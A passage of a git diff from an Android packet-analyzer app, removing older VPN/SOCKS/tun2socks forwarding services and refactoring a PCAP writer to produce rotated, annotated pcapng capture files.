Target->Client stream closed") - } catch (e: Exception) { - Log.d("PacketVpnService", "🔒 Target->Client relay ended: ${e.message}") - } finally { - // Close streams to signal end of relay - try { clientSocket.shutdownOutput() } catch (e: Exception) { } - } - } - - clientToTarget.start() - targetToClient.start() - - // Wait for both relay threads to complete - clientToTarget.join(30000) // 30 second timeout - targetToClient.join(30000) - - Log.d("PacketVpnService", "✅ SOCKS data relay completed, total bytes: $totalBytesRelayed") - - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ SOCKS proxy data relay error: ${e.message}") - } - } - - private suspend fun startTun2SocksWithSocksProxy(vpn: ParcelFileDescriptor) { - Log.i("PacketVpnService", "🌉 Starting tun2socks bridge with SOCKS proxy forwarding") - - try { - val tunFd = vpn.fd.toLong() - - // Use local SOCKS proxy for real internet forwarding - val socksServer = "127.0.0.1" // Local SOCKS proxy - val socksPort = socksProxyPort.toLong() // SOCKS proxy port - val dnsServer = "8.8.8.8" - val enableIPv6 = false - - Log.i("PacketVpnService", "🚀 Initializing tun2socks with SOCKS proxy: fd=$tunFd, socks=$socksServer:$socksPort") - - // Start the tun2socks bridge with SOCKS proxy forwarding - Tun2SocksBridge.startTun2Socks( - fd = tunFd, - socksServer = socksServer, - socksPort = socksPort, - dnsServer = dnsServer, - enableIPv6 = enableIPv6 - ) - - Log.i("PacketVpnService", "✅ Tun2socks bridge with SOCKS proxy established successfully") - Log.i("PacketVpnService", "🌍 ALL internet traffic now forwarded via SOCKS proxy") - - // Keep the bridge alive - while (isCapturing.get()) { - delay(5000) - Log.v("PacketVpnService", "🌉 Tun2socks + SOCKS proxy bridge running") - } - - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Tun2socks SOCKS proxy bridge error: ${e.message}", e) - Log.w("PacketVpnService", "⚠️ SOCKS proxy forwarding failed") - } - } - - /* - private suspend fun startPacketMonitoring(vpn: ParcelFileDescriptor) { - // DISABLED: This function conflicts with unified packet processing - // Multiple FileInputStream instances on same descriptor cause race conditions - Log.w("PacketVpnService", "⚠️ startPacketMonitoring DISABLED - using unified processing") - } - */ - - private fun startRealPacketCapture(vpn: ParcelFileDescriptor) { - Log.i("PacketVpnService", "🔍 Starting REAL packet capture from TUN interface") - - captureJob = serviceScope.launch { - val inputStream = FileInputStream(vpn.fileDescriptor) - val buffer = ByteArray(1500) // Standard MTU size - var packetCount = 0 - - try { - while (isCapturing.get()) { - val bytesRead = inputStream.read(buffer) - if (bytesRead > 0) { - packetCount++ - Log.d("PacketVpnService", "📦 REAL packet #$packetCount: $bytesRead bytes") - - // Parse the real packet using our existing PacketParser - parseAndProcessPacket(buffer.copyOf(bytesRead)) - - // Log first few real packets for debugging - if (packetCount <= 10) { - val hexDump = buffer.take(Math.min(bytesRead, 32)) - .joinToString(" ") { "%02x".format(it) } - Log.d("PacketVpnService", "📦 Real packet #$packetCount hex: $hexDump") - } - } else { - delay(10) // Prevent busy loop - } - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Real packet capture error: ${e.message}") - } finally { - inputStream.close() - Log.i("PacketVpnService", "🔍 Real packet capture stopped. Total real packets: $packetCount") - } - } - } - - override fun onDestroy() { - super.onDestroy() - Log.i("PacketVpnService", "🛑 Stopping comprehensive VPN service with SOCKS proxy...") - - isCapturing.set(false) - captureJob?.cancel() - serviceScope.cancel() - - try { - // Stop SOCKS proxy server - try { - socksProxyThread?.interrupt() - socksProxyThread?.join(2000) // Wait up to 2 seconds - Log.i("PacketVpnService", "✅ SOCKS proxy server stopped") - } catch (e: Exception) { - Log.w("PacketVpnService", "SOCKS proxy stop warning: ${e.message}") - } - - // Stop Tun2Socks bridge - try { - Tun2SocksBridge.stopTun2Socks() - Log.i("PacketVpnService", "✅ Tun2Socks bridge stopped") - } catch (e: Exception) { - Log.w("PacketVpnService", "Tun2Socks may not have been running: ${e.message}") - } - - // Close VPN interface - vpnInterface?.close() - - notifyFlutter("VPN_STOPPED", mapOf( - "message" to "Comprehensive packet capture stopped", - "mode" to "SOCKS_PROXY_FORWARDING" - )) - Log.i("PacketVpnService", "✅ Comprehensive VPN service with SOCKS proxy stopped cleanly") - } catch (e: Exception) { - Log.e("PacketVpnService", "Error closing comprehensive VPN: ${e.message}") - } - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PcapWriter.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PcapWriter.kt index 7eafa3e..78e820b 100644 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PcapWriter.kt +++ b/android/app/src/main/kotlin/com/example/packet_analyzer/PcapWriter.kt @@ -3,10 +3,6 @@ package com.example.packet_analyzer import android.util.Log import java.io.File -/** - * PCAP File Writer - * Exports captured packets to .pcap format for Wireshark analysis - */ object PcapWriter { private const val TAG = "PcapWriter" private var isWriting = false @@ -14,72 +10,93 @@ object PcapWriter { init { try { System.loadLibrary("pcap_writer") - Log.i(TAG, "✅ PCAP writer native library loaded") + Log.i(TAG, "PCAP writer native library loaded") } catch (e: UnsatisfiedLinkError) { - Log.e(TAG, "❌ Failed to load pcap_writer: ${e.message}") + Log.e(TAG, "Failed to load pcap_writer: ${e.message}") } } - /** - * Initialize PCAP file for writing - * @param filepath Absolute path to output .pcap file - * @param linktype Link layer type (1=Ethernet, 101=Raw IP) - * @return true if successful - */ + // ── Core write path ─────────────────────────────────────────────────────── + external fun nativeInit(filepath: String, linktype: Int = 101): Boolean - /** - * Write a packet to the PCAP file - * @param packetData Raw packet bytes - * @param timestampMs Timestamp in milliseconds - * @return true if successful - */ external fun nativeWritePacket(packetData: ByteArray, timestampMs: Long): Boolean + /** Write a packet with an anomaly annotation stored as EPB option 2988. */ + external fun nativeWriteAnnotatedPacket( + packetData: ByteArray, + timestampMs: Long, + annotation: String + ): Boolean + + external fun nativeGetStats(): Map + + external fun nativeClose() + + // ── Configuration ───────────────────────────────────────────────────────── + /** - * Get writing statistics - * @return Map with packetCount, totalBytes, filepath + * Set file-rotation thresholds. + * @param maxSizeBytes Rotate when file exceeds this size (default 50 MB = 52_428_800). + * @param maxAgeSeconds Rotate when file age exceeds this value (default 3600). + * @param maxFiles Maximum number of rotation files to keep (default 10). */ - external fun nativeGetStats(): Map + external fun nativeSetRotationSettings( + maxSizeBytes: Long, + maxAgeSeconds: Long, + maxFiles: Int + ) /** - * Close the PCAP file + * Tell the C layer which interface is being captured and its link-layer type. + * Must be called before nativeInit so the IDB option is written correctly. + * @param ifName Interface name, e.g. "tun0" or "wlan0". + * @param linktype pcap link-layer type (1 = Ethernet, 101 = Raw IP). */ - external fun nativeClose() + external fun nativeSetInterfaceInfo(ifName: String, linktype: Int) + + /** Validate the block structure of a pcapng file. Returns true if intact. */ + external fun nativeValidatePcapFile(filepath: String): Boolean + + // ── Kotlin helpers ──────────────────────────────────────────────────────── /** - * Start writing packets to PCAP file + * Start writing to a pcapng file. + * @param outputPath Absolute path to the output file. + * @param linktype Link-layer type (1 = Ethernet, 101 = Raw IP). + * @param ifName Interface name for IDB metadata (empty = omit). */ - fun startCapture(outputPath: String, linktype: Int = 101): Boolean { + fun startCapture( + outputPath: String, + linktype: Int = 101, + ifName: String = "" + ): Boolean { if (isWriting) { Log.w(TAG, "Already writing to PCAP file") return false } - val file = File(outputPath) + File(outputPath).parentFile?.mkdirs() - // Create parent directories if needed - file.parentFile?.mkdirs() + if (ifName.isNotEmpty()) { + nativeSetInterfaceInfo(ifName, linktype) + } val success = nativeInit(outputPath, linktype) if (success) { isWriting = true - Log.i(TAG, "📝 Started writing to: $outputPath") + Log.i(TAG, "Started writing to: $outputPath") } else { - Log.e(TAG, "❌ Failed to initialize PCAP writer") + Log.e(TAG, "Failed to initialize PCAP writer") } - return success } - /** - * Write a packet to the active PCAP file - */ - fun writePacket(packetData: ByteArray, timestampMs: Long = System.currentTimeMillis()): Boolean { - if (!isWriting) { - return false - } - + fun writePacket( + packetData: ByteArray, + timestampMs: Long = System.currentTimeMillis() + ): Boolean { + if (!isWriting) return false return try { nativeWritePacket(packetData, timestampMs) } catch (e: Exception) { @@ -88,9 +105,20 @@ object PcapWriter { } } - /** - * Get current capture statistics - */ + fun writeAnnotatedPacket( + packetData: ByteArray, + timestampMs: Long = System.currentTimeMillis(), + annotation: String + ): Boolean { + if (!isWriting) return false + return try { + nativeWriteAnnotatedPacket(packetData, timestampMs, annotation) + } catch (e: Exception) { + Log.e(TAG, "Error writing annotated packet: ${e.message}") + false + } + } + fun getStats(): Map { return try { nativeGetStats() @@ -100,33 +128,20 @@ object PcapWriter { } } - /** - * Stop writing and close the PCAP file - */ fun stopCapture(): Map { - if (!isWriting) { - return emptyMap() - } - + if (!isWriting) return emptyMap() val stats = getStats() nativeClose() isWriting = false - - Log.i(TAG, "✅ PCAP capture stopped: ${stats["packetCount"]} packets, ${stats["totalBytes"]} bytes") + Log.i(TAG, "PCAP capture stopped: ${stats["packetCount"]} packets, ${stats["totalBytes"]} bytes") return stats } - /** - * Check if currently writing to PCAP - */ fun isActive(): Boolean = isWriting - /** - * Generate a timestamped filename for PCAP export - */ fun generateFilename(prefix: String = "andronet"): String { val timestamp = java.text.SimpleDateFormat("yyyyMMdd_HHmmss", java.util.Locale.US) .format(java.util.Date()) - return "${prefix}_${timestamp}.pcap" + return "${prefix}_${timestamp}.pcapng" } } diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/ProductionVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/ProductionVpnService.kt deleted file mode 100644 index 0caf840..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/ProductionVpnService.kt +++ /dev/null @@ -1,725 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.EventChannel -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.net.* -import java.util.concurrent.ConcurrentHashMap -import java.util.concurrent.atomic.AtomicBoolean -import java.util.concurrent.atomic.AtomicLong - -/** - * PRODUCTION-GRADE VPN Service with COMPLETE TCP/UDP handling - * - * Features: - * - Full TCP state machine with sequence number tracking - * - Proper NAT translation - * - Bidirectional packet reconstruction - * - Connection pooling and cleanup - * - Error handling and recovery - * - * Based on PCAPdroid's proven architecture - */ -class ProductionVpnService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isRunning = AtomicBoolean(false) - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // Connection tracking - private val tcpConnections = ConcurrentHashMap() - private val udpSockets = ConcurrentHashMap() - - // Statistics - private val packetsProcessed = AtomicLong(0) - private val bytesForwarded = AtomicLong(0) - private val connectionsCreated = AtomicLong(0) - - companion object { - private const val TAG = "ProductionVpnService" - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - private const val VPN_MTU = 1500 - private const val CONNECTION_TIMEOUT_MS = 120000L // 2 minutes - private const val CLEANUP_INTERVAL_MS = 30000L // 30 seconds - - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - Log.i(TAG, "✅ Method channel set") - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - Log.i(TAG, "📡 Packet sink ${if (sink == null) "disconnected" else "connected"}") - } - } - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i(TAG, "🚀 Starting PRODUCTION VPN with full TCP/UDP handling...") - - try { - createNotificationChannel() - startForeground(NOTIFICATION_ID, createNotification()) - - // Build VPN interface with proper configuration - val builder = Builder() - .setSession("AndroidNet Production") - .setMtu(VPN_MTU) - .addAddress("10.0.0.2", 24) - .addRoute("0.0.0.0", 0) // Route ALL traffic - .addDnsServer("8.8.8.8") - .addDnsServer("1.1.1.1") - - // Exclude own app to prevent loops - try { - builder.addDisallowedApplication(packageName) - Log.i(TAG, "✅ Excluded own app from VPN") - } catch (e: Exception) { - Log.w(TAG, "⚠️ Could not exclude app: ${e.message}") - } - - vpnInterface = builder.establish() - - vpnInterface?.let { vpn -> - Log.i(TAG, "✅ VPN interface established - Starting full packet processing") - isRunning.set(true) - - // Start main packet processing loop - startPacketProcessingLoop(vpn) - - // Start periodic cleanup - startConnectionCleanup() - - notifyFlutter("VPN_STARTED", mapOf( - "status" to "success", - "message" to "Production VPN started with full TCP/UDP support" - )) - - Log.i(TAG, "✅ Production VPN fully operational") - - } ?: run { - Log.e(TAG, "❌ Failed to establish VPN interface") - stopSelf() - } - - } catch (e: Exception) { - Log.e(TAG, "❌ VPN start error: ${e.message}", e) - stopSelf() - } - - return START_STICKY - } - - /** - * Main packet processing loop - */ - private fun startPacketProcessingLoop(vpn: ParcelFileDescriptor) { - serviceScope.launch(Dispatchers.IO) { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32768) // 32KB buffer - - Log.i(TAG, "📡 Starting packet processing loop...") - - try { - while (isRunning.get()) { - val length = inputStream.read(buffer) - - if (length > 0) { - packetsProcessed.incrementAndGet() - val packet = buffer.copyOf(length) - - // Process packet asynchronously - launch { - processOutgoingPacket(packet, outputStream) - } - - // Log statistics periodically - if (packetsProcessed.get() % 500 == 0L) { - Log.i(TAG, "📊 Stats: packets=${packetsProcessed.get()}, " + - "bytes=${bytesForwarded.get()}, " + - "connections=${connectionsCreated.get()}, " + - "active_tcp=${tcpConnections.size}, " + - "active_udp=${udpSockets.size}") - } - } - } - } catch (e: Exception) { - if (isRunning.get()) { - Log.e(TAG, "❌ Packet loop error: ${e.message}", e) - } - } finally { - inputStream.close() - outputStream.close() - Log.i(TAG, "🔒 Packet processing loop stopped") - } - } - } - - /** - * Process outgoing packet from device - */ - private suspend fun processOutgoingPacket(packet: ByteArray, outputStream: FileOutputStream) { - try { - // Parse packet - val packetInfo = PacketParser.parsePacket(packet) ?: return - - // Notify Flutter for display (non-blocking) - notifyPacketToFlutter(packetInfo, "OUT") - - bytesForwarded.addAndGet(packet.size.toLong()) - - // Forward based on protocol - when (packetInfo.protocol) { - "TCP" -> handleTcpPacket(packetInfo, packet, outputStream) - "UDP" -> handleUdpPacket(packetInfo, packet, outputStream) - "ICMP" -> handleIcmpPacket(packetInfo, packet) - else -> Log.v(TAG, "⚠️ Unsupported protocol: ${packetInfo.protocol}") - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ Packet processing error: ${e.message}") - } - } - - /** - * Handle TCP packet with FULL state machine - */ - private suspend fun handleTcpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - val key = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - val flags = PacketRebuilder.getTcpFlags(rawPacket) - val seq = PacketRebuilder.getTcpSeq(rawPacket) - val ack = PacketRebuilder.getTcpAck(rawPacket) - val payload = PacketRebuilder.extractTcpPayload(rawPacket) - - var connection = tcpConnections[key] - - // Handle SYN (new connection) - if ((flags and PacketBuilder.TcpFlags.SYN) != 0 && (flags and PacketBuilder.TcpFlags.ACK) == 0) { - Log.d(TAG, "🔵 TCP SYN: $key") - - connection = createTcpConnection(packetInfo) ?: return - connection.initializeFromSyn(seq) - tcpConnections[key] = connection - connectionsCreated.incrementAndGet() - - // Start response handler - startTcpResponseHandler(connection, outputStream) - return - } - - // Handle existing connection - connection?.let { conn -> - conn.lastActivity = System.currentTimeMillis() - - // Handle FIN (connection close) - if ((flags and PacketBuilder.TcpFlags.FIN) != 0) { - Log.d(TAG, "🔴 TCP FIN: $key") - conn.processFin(fromClient = true) - - // Send FIN back to server - try { - conn.socket.close() - } catch (e: Exception) { - // Ignore - } - - tcpConnections.remove(key) - return - } - - // Handle RST (connection reset) - if ((flags and PacketBuilder.TcpFlags.RST) != 0) { - Log.d(TAG, "🔴 TCP RST: $key") - conn.isActive = false - conn.socket.close() - tcpConnections.remove(key) - return - } - - // Forward data payload - if (payload.isNotEmpty() && conn.socket.isConnected && conn.state == TcpConnection.ESTABLISHED) { - try { - conn.socket.getOutputStream().write(payload) - conn.updateOnClientData(payload.size) - Log.v(TAG, "📤 TCP data: $key, ${payload.size} bytes, seq=$seq") - } catch (e: Exception) { - Log.w(TAG, "❌ TCP forward error: ${e.message}") - conn.isActive = false - tcpConnections.remove(key) - } - } - } - } - - /** - * Create new TCP connection with socket protection - */ - private suspend fun createTcpConnection(packetInfo: PacketParser.PacketInfo): TcpConnection? { - return withContext(Dispatchers.IO) { - try { - val socket = Socket() - - // CRITICAL: Protect socket to prevent VPN routing loop - if (!protect(socket)) { - Log.e(TAG, "❌ TCP socket protection FAILED for ${packetInfo.destIP}:${packetInfo.destPort}") - return@withContext null - } - - Log.d(TAG, "✅ TCP socket protected: ${packetInfo.destIP}:${packetInfo.destPort}") - - // Connect to destination with timeout - socket.connect( - InetSocketAddress(packetInfo.destIP, packetInfo.destPort ?: 80), - 5000 // 5 second timeout - ) - - if (!socket.isConnected) { - Log.w(TAG, "❌ TCP connection failed: ${packetInfo.destIP}:${packetInfo.destPort}") - return@withContext null - } - - Log.d(TAG, "✅ TCP connected: ${packetInfo.destIP}:${packetInfo.destPort}") - - // Create connection object - TcpConnection( - sourceIP = packetInfo.sourceIP, - sourcePort = packetInfo.sourcePort ?: 0, - destIP = packetInfo.destIP, - destPort = packetInfo.destPort ?: 0, - socket = socket - ) - - } catch (e: Exception) { - Log.w(TAG, "❌ TCP connection creation failed: ${e.message}") - null - } - } - } - - /** - * Handle TCP responses with proper packet reconstruction - */ - private fun startTcpResponseHandler( - connection: TcpConnection, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val socket = connection.socket - val inputStream = socket.getInputStream() - val buffer = ByteArray(8192) - - Log.d(TAG, "📥 Started TCP response handler: ${connection.getKey()}") - - // Send SYN-ACK to complete handshake - val serverInitSeq = System.currentTimeMillis() and 0xFFFFFFFF - connection.processSynAck(serverInitSeq, connection.clientSeq.get() + 1) - - val synAckPacket = PacketRebuilder.buildSynAck(connection, serverInitSeq) - if (synAckPacket != null) { - synchronized(outputStream) { - outputStream.write(synAckPacket) - } - Log.d(TAG, "✅ Sent SYN-ACK: ${connection.getKey()}") - } - - // Read responses and forward to device - while (connection.isActive && !socket.isClosed && isRunning.get()) { - val bytesRead = inputStream.read(buffer) - - if (bytesRead <= 0) { - Log.d(TAG, "🔚 TCP connection closed by server: ${connection.getKey()}") - break - } - - val responsePayload = buffer.copyOf(bytesRead) - connection.updateOnServerData(bytesRead) - - // Build response packet with proper TCP headers - val responsePacket = PacketRebuilder.buildTcpPacket( - connection = connection, - payload = responsePayload, - flags = PacketBuilder.TcpFlags.PSH or PacketBuilder.TcpFlags.ACK, - fromServer = true - ) - - if (responsePacket != null) { - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - bytesForwarded.addAndGet(responsePacket.size.toLong()) - - Log.v(TAG, "📥 TCP response: ${connection.getKey()}, $bytesRead bytes, " + - "seq=${connection.serverSeq.get()}, ack=${connection.clientSeq.get()}") - - // Notify Flutter - notifyResponseToFlutter(connection, bytesRead, "IN") - } - } - - // Send FIN when closing - if (connection.state == TcpConnection.ESTABLISHED) { - val finPacket = PacketRebuilder.buildFin(connection, fromServer = true) - if (finPacket != null) { - synchronized(outputStream) { - outputStream.write(finPacket) - } - Log.d(TAG, "✅ Sent FIN: ${connection.getKey()}") - } - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ TCP response handler error: ${e.message}") - } finally { - connection.isActive = false - try { - connection.socket.close() - } catch (e: Exception) { - // Ignore - } - tcpConnections.remove(connection.getKey()) - Log.d(TAG, "🔒 TCP response handler stopped: ${connection.getKey()}") - } - } - } - - /** - * Handle UDP packet (simpler than TCP) - */ - private suspend fun handleUdpPacket( - packetInfo: PacketParser.PacketInfo, - rawPacket: ByteArray, - outputStream: FileOutputStream - ) { - val key = "${packetInfo.sourceIP}:${packetInfo.sourcePort}-${packetInfo.destIP}:${packetInfo.destPort}" - var socket = udpSockets[key] - - if (socket == null) { - socket = createUdpSocket() ?: return - udpSockets[key] = socket - - // Start UDP response handler - startUdpResponseHandler(packetInfo, socket, outputStream) - } - - // Forward UDP packet - val payload = PacketRebuilder.extractUdpPayload(rawPacket) - if (payload.isNotEmpty()) { - try { - val destAddress = InetAddress.getByName(packetInfo.destIP) - val packet = DatagramPacket(payload, payload.size, destAddress, packetInfo.destPort ?: 53) - socket.send(packet) - - Log.v(TAG, "📤 UDP sent: $key, ${payload.size} bytes") - } catch (e: Exception) { - Log.w(TAG, "❌ UDP send error: ${e.message}") - udpSockets.remove(key) - socket.close() - } - } - } - - /** - * Create UDP socket with protection - */ - private fun createUdpSocket(): DatagramSocket? { - return try { - val socket = DatagramSocket() - - // CRITICAL: Protect socket - if (!protect(socket)) { - Log.e(TAG, "❌ UDP socket protection FAILED") - return null - } - - socket.soTimeout = 5000 // 5 second timeout - Log.d(TAG, "✅ UDP socket protected") - socket - - } catch (e: Exception) { - Log.w(TAG, "❌ UDP socket creation failed: ${e.message}") - null - } - } - - /** - * Handle UDP responses - */ - private fun startUdpResponseHandler( - originalPacket: PacketParser.PacketInfo, - socket: DatagramSocket, - outputStream: FileOutputStream - ) { - serviceScope.launch(Dispatchers.IO) { - try { - val buffer = ByteArray(8192) - val packet = DatagramPacket(buffer, buffer.size) - - Log.d(TAG, "📥 Started UDP response handler") - - while (!socket.isClosed && isRunning.get()) { - try { - socket.receive(packet) - - val responsePayload = buffer.copyOf(packet.length) - - // Build UDP response packet - val responsePacket = PacketRebuilder.buildUdpPacket( - sourceIP = originalPacket.destIP, - destIP = originalPacket.sourceIP, - sourcePort = originalPacket.destPort ?: 0, - destPort = originalPacket.sourcePort ?: 0, - payload = responsePayload - ) - - if (responsePacket != null) { - synchronized(outputStream) { - outputStream.write(responsePacket) - } - - bytesForwarded.addAndGet(responsePacket.size.toLong()) - - Log.v(TAG, "📥 UDP response: ${packet.length} bytes") - - // Notify Flutter - val packetInfo = PacketParser.PacketInfo( - timestamp = System.currentTimeMillis(), - protocol = "UDP", - sourceIP = originalPacket.destIP, - destIP = originalPacket.sourceIP, - sourcePort = originalPacket.destPort, - destPort = originalPacket.sourcePort, - length = packet.length, - flags = null, - payload = null - ) - notifyPacketToFlutter(packetInfo, "IN") - } - - } catch (e: SocketTimeoutException) { - // Continue waiting - } - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ UDP response handler error: ${e.message}") - } finally { - socket.close() - Log.d(TAG, "🔒 UDP response handler stopped") - } - } - } - - /** - * Handle ICMP packet (simplified - requires root for full support) - */ - private suspend fun handleIcmpPacket(packetInfo: PacketParser.PacketInfo, rawPacket: ByteArray) { - Log.v(TAG, "⚠️ ICMP packet detected (not forwarded - requires root)") - // ICMP requires raw sockets which need root permissions - // For basic functionality, we skip ICMP - } - - /** - * Periodic cleanup of dead connections - */ - private fun startConnectionCleanup() { - serviceScope.launch { - while (isRunning.get()) { - delay(CLEANUP_INTERVAL_MS) - - try { - // Cleanup dead TCP connections - val deadTcpConnections = tcpConnections.values.filter { it.shouldClose() } - deadTcpConnections.forEach { conn -> - conn.isActive = false - conn.socket.close() - tcpConnections.remove(conn.getKey()) - Log.d(TAG, "🧹 Cleaned up TCP connection: ${conn.getKey()}") - } - - // Cleanup dead UDP sockets - val deadUdpKeys = udpSockets.keys.filter { key -> - udpSockets[key]?.isClosed == true - } - deadUdpKeys.forEach { key -> - udpSockets.remove(key) - Log.d(TAG, "🧹 Cleaned up UDP socket: $key") - } - - if (deadTcpConnections.isNotEmpty() || deadUdpKeys.isNotEmpty()) { - Log.i(TAG, "🧹 Cleanup: removed ${deadTcpConnections.size} TCP, ${deadUdpKeys.size} UDP") - } - - } catch (e: Exception) { - Log.w(TAG, "⚠️ Cleanup error: ${e.message}") - } - } - } - } - - // ========== FLUTTER COMMUNICATION ========== - - private fun notifyPacketToFlutter(packetInfo: PacketParser.PacketInfo, direction: String) { - try { - val packetMap = mapOf( - "id" to packetsProcessed.get(), - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: "") - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - } catch (e: Exception) { - // Ignore - } - } - - private fun notifyResponseToFlutter(connection: TcpConnection, size: Int, direction: String) { - try { - val packetMap = mapOf( - "timestamp" to System.currentTimeMillis(), - "protocol" to "TCP", - "sourceIp" to connection.destIP, - "destinationIp" to connection.sourceIP, - "sourcePort" to connection.destPort, - "destinationPort" to connection.sourcePort, - "size" to size, - "direction" to direction - ) - - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(packetMap) - } catch (e: Exception) { - // Ignore - } - } - } catch (e: Exception) { - // Ignore - } - } - - private fun notifyFlutter(event: String, data: Any) { - try { - android.os.Handler(android.os.Looper.getMainLooper()).post { - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to event, - "data" to data - )) - } - } catch (e: Exception) { - Log.e(TAG, "❌ Flutter notification error: ${e.message}") - } - } - - // ========== NOTIFICATION ========== - - private fun createNotificationChannel() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - val channel = NotificationChannel( - CHANNEL_ID, - "Packet Capture Service", - NotificationManager.IMPORTANCE_LOW - ).apply { - description = "Shows when packet capture is active" - setShowBadge(false) - } - getSystemService(NotificationManager::class.java).createNotificationChannel(channel) - } - } - - private fun createNotification(): Notification { - val intent = Intent(this, MainActivity::class.java) - val pendingIntent = PendingIntent.getActivity( - this, 0, intent, - PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE - ) - - return NotificationCompat.Builder(this, CHANNEL_ID) - .setContentTitle("AndroidNet Production") - .setContentText("Full TCP/UDP packet capture active") - .setSmallIcon(android.R.drawable.ic_menu_info_details) - .setContentIntent(pendingIntent) - .setOngoing(true) - .setCategory(NotificationCompat.CATEGORY_SERVICE) - .build() - } - - override fun onDestroy() { - super.onDestroy() - Log.i(TAG, "🛑 Stopping production VPN service...") - - isRunning.set(false) - - // Close all TCP connections - tcpConnections.values.forEach { conn -> - conn.isActive = false - try { - conn.socket.close() - } catch (e: Exception) { - // Ignore - } - } - tcpConnections.clear() - - // Close all UDP sockets - udpSockets.values.forEach { socket -> - try { - socket.close() - } catch (e: Exception) { - // Ignore - } - } - udpSockets.clear() - - // Close VPN interface - vpnInterface?.close() - - serviceScope.cancel() - - notifyFlutter("VPN_STOPPED", mapOf( - "message" to "VPN stopped", - "stats" to mapOf( - "packets" to packetsProcessed.get(), - "bytes" to bytesForwarded.get(), - "connections" to connectionsCreated.get() - ) - )) - - Log.i(TAG, "✅ Production VPN stopped - Stats: packets=${packetsProcessed.get()}, " + - "bytes=${bytesForwarded.get()}, connections=${connectionsCreated.get()}") - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/ProperVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/ProperVpnService.kt deleted file mode 100644 index f021c94..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/ProperVpnService.kt +++ /dev/null @@ -1,522 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Notification -import android.app.NotificationChannel -import android.app.NotificationManager -import android.app.PendingIntent -import android.content.Intent -import android.net.VpnService -import android.os.Build -import android.os.ParcelFileDescriptor -import android.util.Log -import androidx.core.app.NotificationCompat -import io.flutter.plugin.common.EventChannel -import io.flutter.plugin.common.MethodChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.net.* -import java.nio.ByteBuffer -import java.util.concurrent.ConcurrentHashMap -import java.util.concurrent.atomic.AtomicBoolean - -/** - * PROPER VPN Service that WORKS - Based on PCAPdroid's actual approach - * - * Key insight from PCAPdroid: - * - Read packets from TUN interface - * - Forward through PROTECTED RAW SOCKETS (not writing back to TUN!) - * - Responses come back through those same sockets - * - Manually inject responses into TUN interface - * - * This avoids packet reconstruction complexity while maintaining internet - */ -class ProperVpnService : VpnService() { - - private var vpnInterface: ParcelFileDescriptor? = null - private var isRunning = AtomicBoolean(false) - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - - // Connection mapping: 5-tuple -> forwarding socket - private val tcpConnections = ConcurrentHashMap() - private val udpConnections = ConcurrentHashMap() - - companion object { - private const val TAG = "ProperVpnService" - private const val NOTIFICATION_ID = 1001 - private const val CHANNEL_ID = "PacketCaptureChannel" - - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - } - } - - data class TcpForwarder( - val socket: Socket, - val sourcePort: Int, - val job: Job, - var lastActive: Long = System.currentTimeMillis() - ) - - data class UdpForwarder( - val socket: DatagramSocket, - val sourcePort: Int, - val job: Job, - var lastActive: Long = System.currentTimeMillis() - ) - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i(TAG, "🚀 Starting PROPER VPN with working internet...") - - try { - createNotificationChannel() - startForeground(NOTIFICATION_ID, createNotification()) - - val builder = Builder() - .setSession("AndroidNet Proper VPN") - .setMtu(1500) - 